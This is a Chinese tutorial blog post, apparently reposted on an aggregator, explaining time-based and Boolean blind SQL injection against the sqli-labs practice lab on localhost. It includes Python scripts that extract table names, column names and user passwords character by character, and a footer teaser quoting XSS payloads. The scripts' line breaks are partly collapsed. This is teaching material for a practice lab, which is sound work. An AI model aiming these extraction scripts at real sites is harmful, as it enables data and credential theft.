时间盲注Boolen盲注之获取表、列、具体数据的函数

时间盲注

时间盲注（Time-Based Blind SQL Injection）是一种利用数据库响应时间的差异来推断数据的SQL注入技术。它的核心原理是通过构造特定的SQL查询，使得数据库在执行查询时产生时间延迟，从而根据延迟的有无来推断数据。

时间盲注的原理可以概括为：

        利用数据库的时间函数（如SLEEP()）制造延迟；

        通过观察延迟的有无，判断某个条件是否为真；

        通过逐字符或二分法推断目标数据。

以spli-labs中less-9为例：

获取表

用二分法遍历字符位置，寻找表名

import requests
import timeurl = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2def is_injected(payload):start = time.time()try:requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay+1)except requests.exceptions.Timeout:return Truereturn time.time() - start > delaytable = []
for pos in range(1, 30):for c in range(32, 127):payload = f"IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"if is_injected(payload):table.append(chr(c))print("".join(table))breakelse:breakprint("".join(table))

结果如下：

获取列

import requests
import timeurl = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2
table_name = "emails"def is_injected(payload):start = time.time()try:requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay + 1)except requests.exceptions.Timeout:return Truereturn time.time() - start > delaycolumn = []
for pos in range(1, 30):for c in range(32, 127):payload = f"IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"if is_injected(payload):column.append(chr(c))print("".join(column))breakelse:breakprint(''.join(column))

结果如下：

获取详细数据

import requests
import timeurl = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
delay = 2  #
table_name = "emails"
column_name = "id"def is_injected(payload):start = time.time()try:requests.get(url, params={"id": f"1' AND {payload}-- "}, timeout=delay + 1)except requests.exceptions.Timeout:return Truereturn time.time() - start > delaydata = []
for pos in range(1, 50):for c in range(32, 127):payload = f"IF(ASCII(SUBSTR((SELECT {column_name} FROM {table_name} LIMIT 1),{pos},1))={c},SLEEP({delay}),0)"if is_injected(payload):data.append(chr(c))print("".join(data))breakelse:breakprint(''.join(data))

结果如下：

Boolen盲注

布尔盲注（Boolean-Based Blind SQL Injection） 是一种 SQL 注入攻击技术，用于在无法直接获取数据库数据的情况下，通过观察应用程序的布尔响应（真/假）来推断信息。

布尔盲注的特点

        无直接数据返回：攻击者无法直接看到数据库的查询结果，只能通过页面的布尔响应推断信息。

        逐字符猜解：需要逐个字符猜解数据，效率较低，但适用于无法直接获取数据的情况。

        依赖页面响应：攻击者需要能够区分页面在条件为真和假时的不同响应。

以spli-labs中less-8为例：

获取表名

import requests
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = 'and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
str2 = bytes(str1, 'utf-8')
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):for j in range(1, 10):for s in list1:p = payload.format(t=i, w=j, A=s)u = requests.get(url+p)if str2 in u.content:if i == 0:tables1 += chr(s)print (u"正在对比第1个表,", u"第", j, u"个字符",tables1)elif i == 1:tables2 += chr(s)print (u"正在对比第2个表,", u"第", j, u"个字符", tables2)elif i == 2:tables3 += chr(s)print (u"正在对比第3个表,", u"第", j, u"个字符", tables3)elif i == 3:tables4 += chr(s)print (u"正在对比第4个表,", u"第", j, u"个字符", tables4)break
print ('tables1-->', tables1)
print ('tables2-->', tables2)
print ('tables3-->', tables3)
print ('tables4-->', tables4)

结果如下：

获取列名

import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C','D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z', '.']
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security' \'%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'column = ['', '', '', '', '']
str1 = 'You are in...........'
str2 = bytes(str1, 'utf-8')
for j in range(0, 3):for i in range(1, 9):for l in list1:p = payload.format(w=j, n=i, c=column[j]+l)u = requests.get(url+p)if str2 in u.content:column[j] += lprint (u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j])break
for c in range(0, 5):print ('column', c+1, '-->', column[c])

结果如下：

获取详细数据

import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C','D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z', '.']
url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
str2 = bytes(str1, 'utf-8')
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload.format(n=i, w=j, d=username[i-1]+l)u = requests.get(url+p)if str2 in u.content:username[i-1] += lprint (u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1])
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):for j in range(1, 11):for l in list1:p = payload2.format(n=i, w=j, d=password[i-1]+l)u = requests.get(url+p)if str2 in u.content:password[i-1] += lprint (u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1])
print ('id    username    password')
for i in range(1, 15):print (i, '-', username[i-1], '-', password[i-1])

结果如下：

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/17148.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

通过操作系统中的IO模型理解Java中的BIO,NIO,AIO

通过操作系统中的IO模型理解Java中的BIO,NIO,AIO

操作系统中的三种IO模型 阻塞I/O 先来看看阻塞 I/O，当用户程序执行 read，线程会被阻塞 一直等到内核数据准备好，并把数据从内核缓冲区拷贝到应用程序的缓冲区中，当拷贝过程完成，read 才会返回 注意：阻塞…
阅读更多...
JUC并发—2.Thread源码分析及案例应用

JUC并发—2.Thread源码分析及案例应用

大纲 1.什么是线程以及并发编程 2.微服务注册中心案例 3.以工作线程模式开启微服务的注册和心跳线程 4.微服务注册中心的服务注册功能 5.微服务注册中心的心跳续约功能 6.微服务的存活状态监控线程 7.以daemon模式运行微服务的存活监控线程 8.一般不常用到的ThreadGrou…
阅读更多...
Excel函数公式合并相同项目的行数据

Excel函数公式合并相同项目的行数据

今天公司同事问我，如何将相同项目的数据行的行数据合并起来 于是我首先想到textjoin函数，但是条件筛选怎么办，后来想了下，可以用filter函数或者if IF公式如下 TEXTJOIN("|",TRUE,IF($A$2:$A$30A2,$B$2:$B$30,"&q…
阅读更多...
【DeepSeek系列专栏大纲：深入探索与实践深度学习】

【DeepSeek系列专栏大纲：深入探索与实践深度学习】

第一部分：深度学习基础篇 第1章：深度学习概览 1.1 深度学习的历史背景与发展轨迹 1.2 深度学习与机器学习、传统人工智能的区别与联系 1.3 深度学习的核心组件与概念解析 神经网络基础 激活函数的作用与类型 损失函数与优化算法的选择 1.4 深度学习框架简介与选择建议 第2…
阅读更多...
Jenkins 通过 Execute Shell 执行 shell 脚本 七

Jenkins 通过 Execute Shell 执行 shell 脚本 七

Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…
阅读更多...
NixHomepage - 简单的个人网站

NixHomepage - 简单的个人网站

💻 NixHomepage - 简单的个人网站 推荐下个人的开源项目，演示网站，项目链接 https://github.com/nixgnauhcuy/NixHomepage，喜欢的话可以为我的项目点个 Star~ 📷 预览 ⚙️ 功能特性 多平台适配 明亮/暗黑模式切换 W…
阅读更多...
八大排序——简单选择排序

八大排序——简单选择排序

目录 1.1基本操作： 1.2动态图： 1.3代码： 代码解释 1. main 方法 2. selectSort 方法 示例运行过程 初始数组 每轮排序后的数组 最终排序结果 代码总结 1.1基本操作： 选择排序（select sorting）也…
阅读更多...
2025有哪些关键词优化工具好用

2025有哪些关键词优化工具好用

越来越多的企业和个人开始意识到搜索引擎优化（SEO）对于网站曝光和业务增长的重要性。在SEO优化的过程中，关键词优化占据着至关重要的地位。关键词是用户在搜索引擎中输入的词语，优化关键词有助于提高网站在搜索结果中的排名&#…
阅读更多...
（Xshell 8 + Xftp 8）下载安装miniconda至服务器指定目录+配置虚拟环境

（Xshell 8 + Xftp 8）下载安装miniconda至服务器指定目录+配置虚拟环境

一一一一 Xshell 8 Xftp 8均已登录，miniconda.sh安装包已经放在服务器指定目录中 二二二二 赋予脚本执行权限 chmod x Miniconda3-latest-Linux-x86_64.sh安装miniconda ./Miniconda3-latest-Linux-x86_64.sh -p /data1/huyan/zhangyifeng/miniconda3一直Enter…
阅读更多...
Python学习

Python学习

1 class MyClass:def __init__(self):print("Constructor called.")def __str__(self):return "MyClass instance"obj MyClass()print(obj) # 调用__str__方法 在Python中，__str__是一个特殊的方法，当你使用print()函数打印一个…
阅读更多...
vueDevtools和文档整合（前端常用工具/插件）

vueDevtools和文档整合（前端常用工具/插件）

3.vueDevtools安装 chrome插件vue-devtools下载地址： https://chrome.zzzmh.cn/info/nhdogjmejiglipccpnnnanhbledajbpd下载完放到chrome的拓展程序中即可，注意点：vue2和vue3下载版本不同，vue2的话使用稍微老点的版本才行。 详细…
阅读更多...
dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型

dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型

要将 dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型. 申请阿里云百练的KEY 添加模型 测试模型
阅读更多...
将Sqlite3数据库挂在内存上处理

将Sqlite3数据库挂在内存上处理

创作灵感：最近把小学生的口算题从2位数改到3位数，100以内四则运算练习（千纬数学）再次更新，选取难题-CSDN博客要不断刷题目，以前100以内的加减乘除也是这样刷出来的，代码如下： impor…
阅读更多...
【第1章：深度学习概览——1.1 深度学习的历史背景与发展轨迹】

【第1章：深度学习概览——1.1 深度学习的历史背景与发展轨迹】

你可能不知道，现在能自动给照片上色、帮医生看CT片、甚至写诗作曲的AI技术，其实早在二战时期就埋下了种子。这段故事里充满了天才的灵光乍现、整个行业的集体打脸、以及无数个"山穷水尽疑无路，柳暗花明又一村"的神转折。系好安全带，我们要从1943年的脑科学实验室…
阅读更多...
九.Spring Boot使用 ShardingSphere + MyBatis + Druid 进行分库分表

九.Spring Boot使用 ShardingSphere + MyBatis + Druid 进行分库分表

文章目录 前言一、引入依赖二、创建一个light-db_1备用数据库三、配置文件 application-dev.yml四、创建shardingsphere-config.yml完整项目结构 五、测试总结 前言 在现代化微服务架构中，随着数据量的不断增长，单一数据库已难以满足高可用性、扩展性和…
阅读更多...
XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结 一、xss 常见标签语句 0x01. 标签 <a href"javascript:alert(1)">test</a> <a href"x" onfocus"alert(xss);" autofocus"">xss</a> <a href"x" onclickeval(&quo…
阅读更多...
Ubuntu20.04上搭建nginx正向代理提供上网服务

Ubuntu20.04上搭建nginx正向代理提供上网服务

背景&#xff1a;公司很多电脑因软件管控问题不得不禁止设备上网&#xff0c;现需搭建上网代理服务器提供给这些用户使用。 操作系统&#xff1a;ubuntu20.04 工具&#xff1a;nginx-1.25.4 1、下载nginx安装包及依赖 由于nginx默认只持支持转发http协议&#xff0c;所以如…
阅读更多...
deepseek的CoT优势、两阶段训练的有效性学习笔记

deepseek的CoT优势、两阶段训练的有效性学习笔记

文章目录 1 DeepSeek的CoT思维链的优势1.2 open-r1的CoT训练数据1.3 ReAct任务与CoT任务适用场景 2 AI推理方向&#xff1a;deepseek与deepmind的两条路线的差异2.1 PRM与ORM的两大学派分支的差异2.2 DeepSeek-R1的两阶段训练概述 1 DeepSeek的CoT思维链的优势 DeepSeek跟之前…
阅读更多...
DeepSeek批量生成全平台推广营销内容：高效提升营销效率

DeepSeek批量生成全平台推广营销内容：高效提升营销效率

在这个信息爆炸的时代&#xff0c;内容营销的重要性不言而喻。无论是企业的官方网站、社交媒体账号&#xff0c;还是电商平台&#xff0c;都需要源源不断的高质量内容来吸引和留住用户。面对多平台发布的需求&#xff0c;人工撰写内容不仅耗时耗力&#xff0c;还容易出现内容质…
阅读更多...
win11 终端乱码导致IDE 各种输出也乱码

win11 终端乱码导致IDE 各种输出也乱码

因为 win11 终端乱码导致IDE 各种输出也乱码导致作者对此十分头大。所以研究了各种方法。 单独设置终端编码对 HKEY_CURRENT_USER\Console 注册表进行修改对 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processo 注册表进行修改使用命令[Console]::OutputEncoding [Syst…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023